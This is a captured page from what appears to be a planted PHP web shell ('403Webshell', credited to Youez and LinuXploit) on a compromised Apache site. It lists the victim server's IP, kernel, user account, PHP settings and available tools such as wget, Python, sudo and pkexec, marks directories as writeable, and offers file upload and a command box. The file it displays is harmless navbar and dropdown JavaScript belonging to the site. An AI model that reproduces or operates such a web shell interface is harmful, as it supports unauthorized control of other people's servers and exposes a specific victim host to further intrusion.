403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.107.92
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/header-footer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/header-footer/NEW_global.js
// start: Navbar
$('.navbar-toggle').click(function() {
    console.log('Ok')
    $('.navbar-menu').toggleClass('active')
    $(this).toggleClass('active')
    $('body').toggleClass('overflow-hidden')
})
// end: Navbar



// start: Custom Select
var customSelects = document.getElementsByClassName('select')

for(var select=0; select<customSelects.length; select++) {
    customSelectFunc(customSelects[select])
}



function customSelectFunc(el) {
    var inputValue = el.querySelector('.select-value')
    var selected = el.querySelector('.select-selected')
    var option = el.getElementsByClassName('option')
    var currentFocus = -1

    selected.addEventListener('focus', function() {
        currentFocus = -1
    })


    selected.addEventListener('keydown', function(e) {
        e.preventDefault()
        if(e.keyCode == 40) {
            currentFocus++
            addActive(option)
        } else if(e.keyCode == 38) {
            currentFocus--
            addActive(option)
        } else if(e.keyCode == 13) {
            option[currentFocus].click()
        }
    })

    for(var op=0; op<option.length; op++) {
        option[op].addEventListener('click', function() {
            currentFocus = -1
            removeActive(option)
            inputValue.value = this.dataset.value
            selected.value = this.textContent.trim()
            selected.blur()
        })

        if(option[op].dataset.selected) {
            inputValue.value = option[op].dataset.value
            selected.value = option[op].textContent.trim()
        }
    }

    function addActive(arr) {
        if(arr.length < 1) return

        removeActive(arr)

        if(currentFocus >= arr.length) currentFocus = 0
        if(currentFocus < 0) currentFocus = (arr.length - 1)

        arr[currentFocus].classList.add('active')
    }

    function removeActive(arr) {
        for(var i=0; i<arr.length; i++) {
            arr[i].classList.remove('active')
        }
    }
}
// end: Custom Select

Youez - 2016 - github.com/yon3zu
LinuXploit